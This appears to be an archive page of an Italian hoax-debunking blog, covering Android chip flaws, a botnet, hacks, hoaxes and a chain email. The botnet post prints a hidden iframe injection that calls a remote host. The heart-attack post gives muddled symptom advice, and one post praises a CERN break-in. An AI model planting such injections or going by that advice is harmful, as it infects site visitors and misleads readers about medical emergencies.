Vulnerabilità Chip Qualcomm e anche gli smartphone e tablet Android sono a rischio

Inserito da 10 Agosto, 2016 (0) Commenti

Si tratta di :Exploits,Sicurezza

Attenzione aggiornare non appena arriverà la patch ! Vulnerabilità Chip Qualcomm e anche gli smartphone e tablet Android sono a rischio

I ricercatori di Check Point hanno scoperto quattro gravi vulnerabilità nei driver dei chip Qualcomm. Essendo questi processori molto diffusi, l’azienda ha stimato che oltre 900 milioni di smartphone e tablet Android sono a rischio e potrebbero quindi subire un attacco che consente di ottenere i privilegi di root. I dettagli tecnici sono stati illustrati nel corso della conferenza di sicurezza DEF CON 24 di Las Vegas.Check Point ha rilevato le vulnerabilità in molti smartphone Android, anche quelli arrivati da poco sul mercato, come i Samsung Galaxy S7 e S7 edge, OnePlus 3, LG G5 e HTC 10. Anche il BlackBerry DTEK5, considerato lo smartphone Android più sicuro, è vulnerabile. Questi modelli, così come i Nexus 5X, 6 e 6P di Google, riceveranno sicuramente una patch nei prossimi giorni. Il problema riguarda invece i numerosi dispositivi, ormai abbandonati dai rispettivi produttori, che non verranno mai aggiornati.Le quattro vulnerabilità possono essere sfruttate mediante l’installazione di un malware nascosto in un’app infetta, distribuita tramite APK e camuffata da app legittima. Un simile exploit consente di accedere ai dati personali dell’utente, tracciare gli spostamenti tramite GPS, registrare audio e video, intercettare le password digitate sulla tastiera. Qualcomm ha già rilasciato le patch, ma è necessario attendere tutti i passaggi prima di poter aggiornare lo smartphone. Google ha risolto tre vulnerabilità con gli ultimi update di sicurezza, mentre la quarta verrà risolta a settembre. Purtroppo, la frammentazione di Android complica ulteriormente la situazione. Per verificare se il proprio dispositivo è vulnerabile, Check Point ha pubblicato sul Google Play Store l’app QuadRooter Scanner. Al termine della scansione verrà mostrato l’elenco delle vulnerabilità.

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Fonte: Una vita da social

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ROMA, UCCIDONO IL CANE: “CREDEVO AVESSE FERITO MIO FIGLIO”. LA BUFALA SUL WEB -FOTO

Inserito da 25 Marzo, 2013 (0) Commenti

Si tratta di :Bufale e Hoax

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ROMA – Una coppia lascia il bimbo di cinque anni in casa col cane, poi torna e trova il cane coperto di sangue e pensando che abbia ucciso il bimbo, uccidono il cane. Ma il bimbo e in un’altra stanza e il cane ha solo difeso la casa da un ladro.
Una storia all’apparenza commovente che è rispuntata in questi giorni sul web dopo due anni di assenza, suscitando commenti indignati nella massa incauta.
In realtà, si tratta di una clamorosa bufala disponibile in varie lingue, tratta da una vecchia leggenda inglese su un lupo domestico ucciso ingiustamente, mentre la foto che la accompagna è tratta dalla cronaca nera del 2007, e ritrae un rottweiler impazzito soppresso da un poliziotto durante un attacco, probabilmente negli Usa.
Ma il popolo del web non controlla e la sta condividendo di nuovo, massicciamente, nonostante la notizia abbia le due caratteristiche fondamentali della bufala, ossia la mancanza di collocazione geografica e cronologica

fonte: leggo.it

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Hacker Russi danneggiano la pompa dell’acqua di un impianto idrico a Springfield, nell’Illinois

Inserito da 23 Novembre, 2011 (0) Commenti

Si tratta di :Exploits

A Springfield, nell’Illinois, alcuni Pirati informatici hanno ottenuto la password del software per gestire un impianto idrico.
Non si capie l’utilità di tale azione, dato che il danneggiamento della pompa dell’acqua ha solo creato un disservizio. Probabilmente i pirati, di origine, Russa volevano attirare l’attenzione sulla vulnerabilità di sistemi che rappresentano delle “Infrastrutture critiche” anche negli Stati Uniti.

Di certo questo genere di attacco non ha nulla di Etico, poichè avere le chiavi di casa altrui non ci autorizza ad entrare e rompere tutto. Un hacker che si rispetti avrebbe scorrazzato un pò ma mai e poi mai avrebbe danneggiato il sistema, poichè lo spirito hacker vieta la distruzione di risorse collettive. Non è razionale comportarsi come criminali, un criminale è un delinquente sia che lo faccia nella vita reale sia che utilizzi internet.

Che senso ha istruire la pompa in modo tale da accendersi e spegnersi ripetutamente ? In genere, comunque non ha senso, aprire una infrastruttura del genere ad internet, basterebbe una rete privata. Di solito basterebbe maggiore attenzione a questi sistemi.

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Nuovo attacco ai server web Linux, botnet via iframe apache e nginx

Inserito da 15 Settembre, 2009 (0) Commenti

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Denis Sinegubko, si occupa di sicurezza in Russia, ha scoperto un gruppo di circa 100 server Linux infetti (una botnet) interconnessi tra loro. Si tratta di un gruppo di server web infetti e connessi tra loro che diffondono malware, con lo scopo di creare una rete di computer (server web) che infettano i visitatori di siti web, questa attività è stata scoperta analizzando alcuni server con installato apache con password di root facili, combinando mediante la tecnica iframe server esterni con installato il server nginx si è potuto inserire con successo nelle pagine stringhe all’interno del server vittima fatte in questa maniera :

<i_frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden"></iframe>

Tale tecnica non fa altro che aumentare le macchine zombie.

Cosa avviene in parole semplici :

i server infetti osservati da Sinegubko legittimano il traffico web sulla porta 80,
la porta standard tcp per le connessioni al server. Il server rogue che gira avendo  installato nginx  potente server  http e un mail proxy  server sviluppato in russia da Igor Sysoev fa in modo che i computer degli utenti vengano infettati.
A complicare le cose e per aumentare la potenza virale ci si è messo pure l’aggiunta di reti basate su servizi che permettono la rintracciabilità di un computer in rete, ciò significa che esiste una rete di server tracciabile e una rete di computer che potenzialmente non avendo hosting fisso possono cambiare rapidamente dislocazione geografica.

Il tutto significa che nel momento in cui si lancia un comando alla botnet tutti i server infetti rispondono.

Secondo Sinegubko la responsabilità di tale diffusione è tutta degli amministratori di rete che mettono password poco sicure o che non proteggono il traffico di rete da eventuali sniffaggi di password di root.

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Gianni senza paura

Inserito da 22 Ottobre, 2008 (0) Commenti

Si tratta di :Storielle e Aneddoti

Teresa ci segnala questa storiella

C’era una volta un ragazzino che pascolava le mucche; era stato soprannominato Gianni-senza-paura, perché sosteneva di non temere niente e nessuno. In una bella
sera d’estate, tutti i pastori erano riuniti in una baita. Iniziarono a raccontarsi storie di diavoli e di spiriti, che facevano venire a tutti la pelle d’oca.
Gianni ridendo diceva: “Smettetela di dire sciocchezze! Sono tutte invenzioni!” “Ebbene, Gianni” disse il capo dei pastori “Scommetto la mia mucca più bella che non avresti il coraggio di salire a mezzanotte in cima alla montagna e di gridare per tre volte: “Teste vuote, rispondetemi!”
I pastori si guardarono atterriti; anche per la più bella mucca della mandria, chi avrebbe rischiato di morire? Ma Gianni disse: “Accetto la scommessa! Datemi
soltanto tre giorni per sistemare i miei affari”
“D’accordo!” rispose il capo.
Al villaggio, Gianni andò al convento dei Cappuccini e raccontò della scommessa al capo monaco. “Imprudente!” gli disse il monaco. “Prima di affrontare le forze del male, passa questi tre giorni a pregare.”
Dopo tre giorni di preghiere, il monaco gli disse: “Lega questo incenso benedetto al tuo bastone; prendi la sciabola e scala la montagna prima del tramonto. Giunto sulla sommità, traccia un cerchio sull’erba; mettiti al centro e non uscirne per nessun motivo!”
Gianni risalì alla baita e il capo gli propose: “Lasciamo perdere questa stupida scommessa!”
“Temete forse che non ce la faccia?” rispose Gianni.
In verita’,
il capo aveva paura di perdere la sua mucca più bella; così, si disse: “Devo inventare uno stratagemma per spaventare questo ragazzo!”
Giunto sulla sommità, Gianni tracciò un cerchio nell’erba con la sciabola e si sedette al centro, facendo bene attenzione a non superarne la circonferenza. Calò la notte, il campanile di una chiesa nella valle suonò i dodici rintocchi di mezzanotte.
Allora, Gianni pronunciò, con voce esitante: “Teste vuote, rispondetemi!”
Gli rispose solo il vento. Così, gridò più forte: “Teste vuote, rispondetemi!”
Sentì una civetta. Gianni, rassicurato, urlò: “Teste vuote, rispondetemi!” All’improvviso, apparve una nuvola di teste di morto, che iniziò a ruotare intorno al cerchio, sibilando: “Cosa vuoi da noi? Esaudiremo i tuoi desideri se esci dal cerchio!”
Gianni si rannicchiò meglio al centro del cerchio. Le teste dissero: “Getta la sciabola!”
Gianni impugnò meglio la sua sciabola. Le teste ruggirono: “Getta il bastone!” Ma Gianni strinse ancor di più il bastone tra le mani. La giostra infernale girava vorticosamente producendo un fracasso assordante e Gianni, immobile, si teneva
aggrappato alla sciabola e al bastone. Finalmente, l’aurora cominciò a illuminare le vette, le forze oscure della notte si dissiparono e Gianni, esausto, si mise in cammino verso valle.
All’improvviso, un enorme toro nero balzò da un cespuglio e gli si avventò contro; Gianni schivò il suo attacco.
“Io sono il diavolo!” mugghiò l’animale.
“Il diavolo deve morire!” gridò Gianni e, con un colpo di sciabola, gli aprì la testa
in due. Nella baita ritrovò i suoi compagni, ma non vide il capo: “Avrà temuto che ritornassi!” disse ridendo.
Poi, raccontò cosa gli era accaduto. “E, mentre stavo scendendo, ho incontrato il diavolo sotto forma di un toro!”
“Ma non hai avuto paura di lui?” domandarono i pastori.
“Niente poteva più spaventarmi!” disse Gianni. “Gli ho aperto il cranio in due!”
Allora i pastori si fecero il segno della croce: “Era il capo che si era travestito da toro per spaventarti!”
Quando esaminarono il cadavere, non riuscirono a staccare la pelle dal corpo e,
malgrado gli sforzi, non poterono sollevare l’animale. Così, gli scavarono una fossa e lo coprirono di terra senza spostarlo dal punto in cui era morto. Da allora, l’erba non è più cresciuta in quella zona. Gianni fu eletto capo al posto del morto e ricevette la più bella mucca della mandria.

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Come riconoscere un Attacco Cardiaco

Inserito da 17 Settembre, 2008 (0) Commenti

Si tratta di :Appelli Generici,Bufale e Hoax,Storielle e Aneddoti

Mi è stata segnalata da Marco una storiella triste su un presunto attacco cardiaco…

la riporto integralmente aggiungendo eventuali riferimenti la mail inizia così :

And he is  love,...

Durante una grigliata fra amici, Ingrid cade improvvisamente a terra. Le si offre di chiamare l’ambulanza ma, rialzandosi, Ingrid dice di essere inciampata con le scarpe nuove in una pietra.

Siccome è pallida e tremante, gli amici l’aiutano a rialzarsi, le danno una mano a ripulirsi e le danno un piatto nuovo.

Ingrid trascorre il resto della serata serena ed in allegria. Il marito di Ingrid mi telefona la sera stessa dicendomi che ha portato sua moglie in ospedale. Verso le 23.00 mi richiama e mi dice che Ingrid è deceduta. Ingrid aveva avuto un attacco cardiaco durante la grigliata. Se gli amici avessero saputo riconoscere i segni di un attacco cardiaco Ingrid sarebbe ancora viva. La maggior parte delle persone colpite da infarto non muoiono immediatamente, ma restano bisognose d’aiuto in una situazione disperata. Basta 1 minuto per leggere il seguito: Un neurologo sostiene che se si riesce ad intervenire entro tre ore dall’attacco si può facilmente porvi rimedio ed evitarne le conseguenze. Il trucco è riconoscere per tempo l’attacco cardiaco, riuscire a diagnosticarlo e portare il paziente entro tre ore in terapia; cosa che non è facile.

Nei prossimi 4 punti vi è il segreto per riconoscere se qualcuno ha avuto un attacco di cuore:

* Chiedete alla persona di sorridere (non ce la farà);

* Chiedete alla persona di pronunciare una frase completa (esempio: “Oggi è una bella giornata”); se non ce la farà è sotto attacco;

* Chiedete alla persona di alzare le braccia (non ce la farà o ci riuscirà solo parzialmente);

* Chiedete al paziente di mostrarvi la lingua, (se la lingua sembra ingrandita o la muove solo lateralmente è anche questo un segno di chi è colpito da attacco cardiaco).

Nel caso si verifichino uno o più dei sovra citati punti chiamate immediatamente il pronto soccorso e descrivete i sintomi della persona per telefono. Un cardiologo sostiene che se mandiamo questo testo via e-mail ad almeno 10
persone, si può essere certi di poter salvare la vita a molte persone, ed eventualmente anche a noi stessi.

Quotidianamente mandiamo tanto “marciume e spam” per il Globo via internet; usiamo i collegamenti una volta tanto per essere d’aiuto a noi ed agli altri. Siete d’accordo?

HO VISTO CHE nella Testata Giornalistica “IL MASCALZONE” L’INFORMAZIONE DELLA RIVIERA ADRIATICA SI LAMENTA CHE NESSUN SITO ANTIBUFALA… HA AFFRONTATO QUESTO PROBLEMA…
IO RIPONDO CHE NON TUTTE LE COSE CHE GIRANO SU INTERNET POSSONO ESSERE INSERITE NEI SITI, semplicemente perchè non sono BUFALE !!!!
IN QUESTI SITI CI SONO LE SEGNALAZIONI PERCHE’ QUESTA PERSONA PRIMA DI SCRIVERE NON HA SEGNALATO QUESTA STORIELLA ? QUESTO GENERE DI SITI NN SONO OMNISCIENTI, MA CERCANO DI INDAGARE PERM BENE.

RIPORTO LA PAGINA DOVE C’E’ L’ARTICOLO
http://www.ilmascalzone.it/articolo.php?id=17629

AD ESEMPIO IO HO CONSULTANTO SITI COME ARRESTOCARDIACO.COM DOVE SI POTEVA AVERE UNA PRIMA RISPOSTA AL MISTERO, E MI SONO PERMESSO DI RIPORTARE UNA “scheda” tratta dalla pagina

http://www.arrestocardiaco.com/TherapyAwareness/Prevention/index.htm

quindi “LA REDAZIONE DI HOAX.IT OLTRE A FARE UN PRIMO CONTROLLO ONLINE SE E’ NECESSARIO INTERPELLA GENTE SPECIALIZZATA NEI VARI SETTORI, SI CONSIGLIA DUNQUE DI SEGUIRE LE LINEE GUIDA FORNINITE NELLA PAGINA DI ARRESTO CARDIACO IL QUALE SVOLGE UN BUON LAVORO, FORNENDO UNA SINTETICA SCHEDA SULL’INFARTO IMPROVVISO, MA SI CONSIGLIA VIVAMENTE DI CONSULTARE UN MEDICO DI FIDUCIA O RECARSI IMMEDIATAMENTE AL PRONTO SOCCORSO SE SI HA QUALCHE MINIMO SOSPETTO:

SU ARRESTOCARDIACO.COM LEGGIAMO

Consultare il proprio medico Se voi o vostri conoscenti presentate alcuni dei fattori a rischio per l’arresto cardiaco improvviso, non bisogna perdere tempo. Il medico può offrire i mezzi e le opzioni per la cura. Bisogna parlare immediatamente con il proprio medico dei fattori di rischio e chiedergli se sia consigliabile una visita da uno specialista. Uno specialista può essere un cardiologo che diagnostica e cura aritmie cardiache ( frequenze cardiache troppo basse, troppo elevate o irregolari ) che possono provocare l’arresto cardiaco improvviso.
Un controllo proattivo sulla salute del proprio cuore può rappresentare la discriminante tra la sopravvivenza a lungo termine, una progressione incontrollata del disturbo cardiaco e il decesso.

COSA FARE – FOCUS

Consultare SUBITO il proprio medico…
Se voi o vostri conoscenti presentate alcuni dei fattori a rischio per l’arresto cardiaco improvviso, non bisogna perdere tempo. Il medico può offrire i mezzi e le opzioni per la cura. Bisogna parlare immediatamente con il proprio medico dei fattori di rischio e chiedergli se sia consigliabile una visita da uno specialista.

Uno specialista può essere un cardiologo che diagnostica e cura aritmie cardiache ( frequenze cardiache troppo basse, troppo elevate o irregolari ) che possono provocare l’arresto cardiaco improvviso.

Un controllo proattivo sulla salute del proprio cuore può rappresentare la discriminante tra la sopravvivenza a lungo termine, una progressione incontrollata del disturbo cardiaco e il decesso.

una cardiopatia antecedente sia una causa comune dell’arresto cardiaco, numerose vittime non avevano mai manifestato problemi di natura cardiaca. Il rischio aumenta con l’età.

Senza una terapia d’urgenza solo il 5-10 per cento dei colpiti sopravvive all’arresto cardiaco improvviso. Tuttavia sono state raggiunte percentuali di sopravvivenza superiori al 50 per cento laddove sono stati implementati con successo programmi sull’uso del defibrillatore esterno automatico (AED ) Le percentuali possono aumentare ulteriormente se si interviene sul paziente entro tre minuti dall’arresto cardiaco.

Nella maggior parte dei casi l’arresto cardiaco improvviso si manifesta senza sintomi preventivi. Tuttavia i seguenti fattori di rischio aumentano il potenziale dell’arresto cardiaco improvviso:
  • Episodio/i di arresto cardiaco precedente/i :
    Spesso un episodio precedente prelude a una nuova manifestazione. Prevenire è fondamentale per la sopravvivenza.
  • Precedente attacco cardiaco: Un attacco cardiaco danneggia il muscolo cardiaco e può causare ritmi cardiaci anomali (aritmie). Si può avere la sensazione che il cuore corra, o che batta senza seguire il ritmo. Può anche verificarsi un’assenza di sintomi, ma certe aritmie possono essere fatali e provocare l’arresto cardiaco improvviso.
  • Insufficienza cardiaca:
    Quando il cuore pompa poco.
  • Indicatore della frazione di eiezione(FE) del 40% o inferiore:
    La frazione di eiezione è la frazione di sangue pompato dal cuore ad ogni battito. Una FE normale è pari al 55 per cento o superiore. Il proprio medico può prescrivere un semplice esame quale un ecocardiogramma che produce un’immagine in movimento del proprio cuore, mostra come pompa il cuore e misura la FE. Se la FE è stranamente bassa, come conseguenza di un attacco cardiaco precedente o di insufficienza cardiaca, possono essere necessari ulteriori esami, al fine di stabilire se il ritmo cardiaco è anomalo.
  • Ritmi cardiaci anomali:
    Se la propria frazione di eiezione è del 40 per cento o inferiore, sono necessari altri esami per verificare il rischio associato al disturbo del ritmo.
    Se l’aritmia cardiaca va e viene, esistono monitor speciali che si possono indossare o portare con sé per registrare la propria attività elettrica cardiaca.
  • Anamnesi antecedente di cardiopatia o disturbi del ritmo cardiaco.
  • Anamnesi famigliare di arresto cardiaco improvviso.
  • Inspiegabili episodi di svenimento.

Fattori di rischio del decesso cardiaco improvviso nella società (linee guida ESC)

Fattori di rischio non modificabili
Fattori di rischio modificabili
Età
Sesso maschile
Anamnesi familiare di coronaropatia
Fattori genetici
Fumo
Ipertensione
Livello di colesterolo alto
Diabete mellito
Obesità

MENTRE SULLA TESTATA IL MASCALZONE SI LEGGE

http://www.ilmascalzone.it/articolo.php?id=17629

Anche se non ho trovato alcun riferimento immediato sui siti antibufala, mi sembra l’ennesima catena di Sant’Antonio.

Tanto per cominciare…

“Ingrid trascorre il resto della serata serena ed in allegria.”

E dopo c’è scritto: “Chiedete alla persona di sorridere (non ce la farà)”. La contraddizione è evidente prima si afferma che la persona colpita da infarto non mostra alcun sintomo e rimane “serena e allegra” (quindi sorride) e dopo si dice che chi è colpito da infarto non può sorridere (???).

Anche l’affermazione successiva è palesemente in contrasto con una persona che trascorre la serata serenamente e allegramente.

“Chiedete alla persona di pronunciare una frase completa (esempio: “Oggi è una bella giornata”); se non ce la farà è sotto attacco” (è evidente che se non si riesce a pronunciare una semplice frase non si può dialogare “allegramente” con gli altri)

Altra perla…

“Un neurologo sostiene che se si riesce ad intervenire entro tre ore dall’attacco si può facilmente porvi rimedio ed evitarne le conseguenze.”

Non dovrebbe essere un cardiologo a fare questa considerazione?

Infine il cardiologo salta fuori per dirci che dobbiamo spedire le mail…(?).

Insomma, il contenuto è così pieno di imprecisioni omissioni e contraddizioni varie che, l’autore del messaggio starà sicuramente tenendosi la pancia dalle risate al vedere quanti abboccano e inoltrano il messaggio.

Meditate gente… meditate

HOAX.IT AGGIUNGE E COMMENTA

– ALLORA MI PERMETTO DI DIRE CHE PER IL NEUROLOGO CHE DICE LE COSE.. E’ NORMALE …PURE IL NEUROLOGO E’ COMPETENTE IN QUANTO POTREBBE TRATTARSI DI UN EMIPARESI, DI UN QUALCOSA LEGATO AL SISTEMA NERVOSO INFATTI SI LEGGE CHE INGRID ERA INCIAMPATA “PER LE SCARPE NUOVE” POTEVA INCIAMPARE ANCHE CON LE SCARPE VECCHIE, COMUNQUE IL CARDIOLOGO NON NE CAPISCE DI EMIPARESI, LEGGE L’ELETTROCARDIOGRAMMA E ALTR COSE LO SPECIALISTA PER DETERMINATI PROBLEMI PUO’ ANCHE ESSERE IL NEUROLOGO, IL QUALE SI OCCUPA DEL SISTEMA NERVOSO… E PURE DELL’EQUILIBRIO SEBBENE LA CAUSA SCATENANTE PRINCIPALE SIA IL CUORE E DUNQUE DOVREBBE ESSERE IL CARDIOLOGO A DIRE L’ULTIMA IL NEUROLOGO PUO’ DIRE QUEL CHE DESIDERA.. PERCHE’ INGRID E’ CADUTA E FORSE HA SBATTUTO LA TESTA.

– CHIEDERE DI SORRIDERE SIGNIFICA AVERE IL SISTEMA NERVOSO PERFETTAMENTE FUNZIONANTE, UN SORRISO IMPLICA IL PERFETTO FUNZIONAMENTO DEI MUSCOLI FACCIALI OLTRE CHE ESSERE UN BUON INDICATORE, IL SORRISO NON FA MAI MALE…

– FAR PRONUNCIARE UNA FRASE, E’ UNA TECNICA USATA AL PRONTO SOCCORSO PER CAPIRE SE SI è COSCIENTI, O SE C’E’ QUALCHE DANNO A LIVELLO CELEBRALE, SI FA SEMPRE SE UNO O UNA BATTE LA TESTA O CADE… UN RILASSAMENTO MUSCOLARE POTREBBE CAUSARE EMIPARESI ED ALTRO E’ FACILE CHE IL SOGGETTO CADA PER TERRA E SI FACCIA MALE… QUINDI NON E’ UNA COSA TANTO IMPOSSIBILE OPPURE E’ SCONATO CHE SI TRATTA DI UNA BUFALA, NON BASTA UNA SEMPLICE TASTIERA PER ESSERE QUELLI CHE SMASCHERANO LE COSE… BISOGNA SAPERE QUELLO CHE SI DICE.

– MANDARE UNA E-MAIL CHE DICE UNA COSA DEL GENERE SENSIBILIZZA MOLTO… SE UNO HA QUALCHE DUBBIO VA DAL MEDICO, E SI FA CONTROLLARE FA BENE QUINDI NON è UNA CATENA DI SAN ANTONIO MALEFICA E NON E’ STRANO CHE UN MEDICO ABBIA DETTO DI MANDARE QUESTA CATENA IN GIRO.

DETTO QUESTO E AVENDO FATTO I CHIARIMENTI DEL CASO IL SITO HOAX.IT SI E’ OCCUPATO DEL CASO, E HA CONTATTATO LA REDAZIONE DE IL MASCALZONE E ARRESTOCARDIACO.COM E ADESSO TUTTI SARANNO PIU’ FELICI, MA RICORDATE SEGNALATE, SEGNALATE E SEGNALATE DIPENDE DA VOI

SEGNALAZIONI@HOAX.IT

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L’esperimento al Cern, la bufala della fine del mondo e la realtà “gli hacker salveranno il mondo”.

Inserito da 14 Settembre, 2008 (0) Commenti

Si tratta di :Curiosità,News,Sicurezza

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Oggi ho appreso con sommo piacere che un gruppo di Hacker denominato “Greek security team” è riuscito ad intrufolarsi nei server dell’esperimento, inserendo nella home page del sito pubblico una home page con un messaggio che suonava tipo “non combinare pasticci” questo significa una volta per tutte che gli hacker non sono pericolosi criminali o peggio gente che ha come unico obbiettivo scardinare tutto per compiere danni, gli hacker sono persone che rispettono un codice di condotta e sono ispirati da pecise regole una tra le più importanti la “correttezza”, non so se vi rendete conto ma se volevano potevano controllare con un minimo sforzo anche il computer che controlla uno dei magneti da oltre 12 mila tonnellate, questo per dire che non si è mai al sicuro quando in gioco ci sono esperimenti del genere.

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Secondo la mia opinione, sono stati veramente in gamba perchè aggirare alcune restizioni di sicurezza solo per dire ” io sono arrivato qua e non ho cattive intenzioni” la dimostrazione sta nel fatto che il gruppo di sicurezza informatica si è limitato a lasciare un messaggino nel sito dicendo “scienziati non combinate pasticci ! “, dunque un plauso a questi hacker che hanno fatto svegliare coloro che gestiscono questi server.

Che dire … la potenza è nulla senza controllo e dunque per quello che penso un giorno gli hacker detentori di un sapere che va oltre ogni confine geografico, oltre ogni barriera linguistica e razziale, dove non è importante essere uomo o donna, dove non conta l’età ma solo le capacità mentali-cognitive, in un giorno non troppo lontano gli hacker saranno i soli che come “Angeli custodi” auiteranno l’umanità giunta ad un livello estremamente basso dove vanno avanti solo i “leccaculo”, i raccomandati e dove le competenze, il know how e le facoltà intellettive sono spesso presi a calci nel culo.

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Secondo me qualcuno dovrebbe dare una medaglia a questo gruppo di hacker che sono riusciti a Violare i Computer Dell’Acceleratore Di Particelle ‘Large Hadron Collider’ di Ginevra.

La cosa che fa a dir poco incazzare è il fatto che come al solito “La falla informatica non preoccupa tuttavia i responsabili del Cern” le dichiarazioni del tipo “Non ci sembra ci siano stati gravi danni e tutto è stato scoperto rapidamente – dichiara il portavoce James Gillies – Abbiamo una rete composta da molti livelli di sicurezza”, dichiarazioni del genere sono solo poco intelligenti… non hanno fatto danno perchè gli hacker non fanno danno !!! hanno solo detto state attenti il vostro sistema non è al sicuro, non siete invincibili siete vulnerabili!!! non esiste un computer sicuro non esiste !!! almeno che sia spento e con il cavo di alimentazione staccato… hihihihi

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Si legge in un comunicato dell’adnkronos che “I responsabili della sicurezza hanno intanto provveduto a rimuovere i file inseriti dagli hacker, prestando particolare attenzione alla presenza di ‘backdoor’, e stanno ora cercando di capire come questo attacco si sia potuto verificare.” una spiegazione che noi di hoax.it è quella che alla dabbennagine non c’è mai fine… per un progetto del genere è semplicemente scandaloso.. che succedano cose del genere!!

La teoria principale, secondo il quotidiano inglese ‘Telegraph’ , è che il Greek Security Team abbia sfruttato i dati di accesso di qualche addetto dell’acceleratore statunitense ‘Tevatron’ del Fermilab, io non ne sono sicuro… lo possono sapere solo loro e i gestori del server… poi possono raccontarci tutte le cavolate che vogliono… e se a fare questo tipo di attacco invece di essere un gruppo di hacker eticamente corretti fossero stati delle persone senza scupoli ? vi rendete conto della gravità ? qualche licenziamento non farebbe male qualche hacker nello staff farebbe solo bene.

Che dire… meno male che esistono gente che svolgono questo tipo di attività e con atti seppur clamorosi ci fanno capire che tutti siamo vulnerabili e ogni strumento ha bisogno di gente preparata e non si finisce mai di conoscere di studiare e di capire dunque ancora complimenti!!!!

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mail annuncia invasione Iran, ma e’ virus

Inserito da 14 Luglio, 2008 (0) Commenti

Si tratta di :Bufale e Hoax,Exploits

Nell’oggetto e’ scritto ‘E’ iniziata la 3/o guerra mondiale’

(ANSA) – ROMA, 11 LUG – Attenzione a mail che annunciano l’inizio della terza guerra mondiale e l’invasione dell’Iran da parte degli Usa. Si tratta di un virus. L’avvertimento giunge dalla casa antivirus Sophos. L’oggetto della mail, per ora solo in inglese, e’ ‘E’ iniziata la terza guerra mondiale’. Vi si legge che 20mila soldati americani hanno invaso l’Iran, e si chiede di cliccare su un link per vedere i video girati dai militari. Sul sito pero’ non c’e’ nessun video, ma un virus del tipo cavallo di Troia’.

ROMA, 2008-07-11 15:30

Segue testo e-mail

“Nel giro di poche settimane assisteremo alla messa in moto della macchina per la guerriglia dell’informazione. L’opinione pubblica è già sotto pressione. Ci sarà una crescente isteria militarista anti-Iraniana, nuove fughe di notizie, disinformazione, ecc… Le probabilità di una aggressione Statunitense contro l’Iran sono estremamente alte.”

Il pubblico Americano e il Congresso Statunitense si stanno dando da fare per contrastare la determinazione del Regime Bush a intensificare la guerra in Iraq. Una massiccia dimostrazione di protesta è in corso oggi a Washington DC, e il Congresso sta esprimendo il proprio disaccordo nei confronti della decisione da parte di Bush di intensificare la guerra in Iraq.

Tutto questo va benissimo. Tuttavia, non viene preso in nessuna considerazione il vero problema, che è quello del profilarsi di un attacco del Regime Bush sull’Iran.

Invece di porre fine ad una guerra, Bush è in procinto di iniziarne un’altra. Il mondo intero lo sa e nell’ambito di numerosi forum sta discutendo l’attacco all’Iran che è stato pianificato da Bush. Sono solo gli Americani che non l’hanno capito.

Un manipolo di Senatori ha dichiarato che Bush non deve attaccare l’Iran senza ottenere l’approvazione del Congresso, e numerosi commenti pubblicati su Internet rivelano la consapevolezza che esiste a livello mondiale sul fatto che l’Iran è nel mirino del Regime Bush. Ma il Congresso e i Media – nonchè la dimostrazione a Washington – sono invece concentrati sull’Iraq.

Che cosa si può fare per far innalzare il grado di consapevolezza degli Americani fino al livello del resto del pianeta?

A Davos, in Svizzera, il meeting del World Economic Forum, una conferenza durante la quale vengono discusse questioni che hanno a che fare con la globalizzazione economica, si è aperto il 24 Gennaio con una discussione riguardante l’attacco sull’Iran pianificato da Bush. Sia il Segretario Generale della Lega delle Nazioni Arabe che banchieri e uomini d’affari provenienti da paesi che sono alleati degli USA, come per esempio il Bahrain e gli Emirati Arabi Uniti, hanno tutti lanciato l’allarme sull’attacco in arrivo e sulle conseguenze catastrofiche che avrebbe per il Medio Oriente e per il mondo intero.

Scrivendo per Global Research [24 Gennaio], il Generale Leonid Ivashov, vice presidente dell’Accademia sugli Affari Geopolitici ed ex Capo di Stato Maggiore dell’Esercito Russo, ha predetto un attacco nucleare Americano sull’Iran per la fine di Aprile. Il Generale Ivashov ha presentato il ragionamento neo conservatore che è alla base dell’attacco e ha concluso che le varie dimostrazioni che si stanno svolgendo a livello mondiale non saranno in grado di fermare l’attacco Statunitense all’Iran.

Ci sarà shock e indignazione, ha concluso il Generale Ivashov, ma gli USA la faranno franca. Scrive:

“Nel giro di poche settimane assisteremo alla messa in moto della macchina per la guerriglia dell’informazione. L’opinione pubblica è già sotto pressione. Ci sarà una crescente isteria militarista anti-Iraniana, nuove fughe di notizie, disinformazione, ecc… Le probabilità di una aggressione Statunitense contro l’Iran sono estremamente alte. Quello che non è chiaro, tuttavia, è se il Congresso Statunitense autorizzerà o meno la guerra. Potrebbe volerci una provocazione per eliminare un tale ostacolo [come per esempio un attacco su Israele o su obiettivi USA comprese le basi militari]. Il livello di questa provocazione potrebbe essere paragonabile a quello degli attacchi dell’11 Settembre a New York. In questo caso il Congresso senza alcuna ombra di dubbio darà la propria approvazione al Presidente degli Stati Uniti.”

Il Regime Bush ha fatto chiaramente intendere di essere convinto che Bush ha già l’autorità necessaria per attaccare l’Iran. Il Regime sostiene che questa autorità è parte dei poteri che Bush detiene in quanto comandante-in-capo. Il Congresso ha autorizzato la guerra in Iraq, e recenti dichiarazioni pubbliche di Bush hanno spostato la responsabilità della insurrezione Irachena da Al Qaeda all’Iran. L’Iran, ha dichiarato Bush, sta uccidendo i soldati Statunitensi in Iraq. l’Iran è quindi coperto dalla autorizzazione per la guerra in Iraq.

Sia Bush che Cheney hanno fatto chiaramente intendere nelle loro dichiarazioni pubbliche che ignoreranno qualunque opposizione da parte del Congresso ai loro piani di guerra. Per esempio, CBS News ha riportato [25 Gennaio] che Cheney ha dichiarato che una risoluzione del Congresso contro la intensificazione della guerra in Iraq “non ci fermerà”. Secondo la Associated Press e Yahoo News, Bush ha respinto la disapprovazione del Congresso con la seguente dichiarazione, “Sono io quello che decide.”

Tutto è pronto per scatenare un attacco sull’Iran. Due portaerei di attacco sono state dispiegate nel Golfo Persico, altre portaerei di attacco USA sono state spostate dalla Turchia e da altri paesi dell’area in prossimità dei confini Iraniani, sistemi di difesa anti missilistica Patriot sono stati spostati da tutto il Medio Oriente per proteggere gli impianti petroliferi e le basi Statunitensi dalla rappresaglia dei missili Iraniani, e crescenti quantità di disinformazione che sostengono la responsabilità Iraniana per la insurrezione in Iraq sono date in pasto al facilmente influenzabile Sistema Mediatico USA.

Il Generale Ivashof e tutti in Medio Oriente e la conferenza sulla globalizzazione di Davos in Europa capiscono benissimo quale sia l’agenda del Regime Bush.

Perchè gli Americani non riescono invece a capire?

Perchè il Congresso non ha fatto sapere a Bush e a Cheney che verranno messi immediatamente in stato di accusa – impeachment – se daranno inizio ad una guerra su più larga scala?

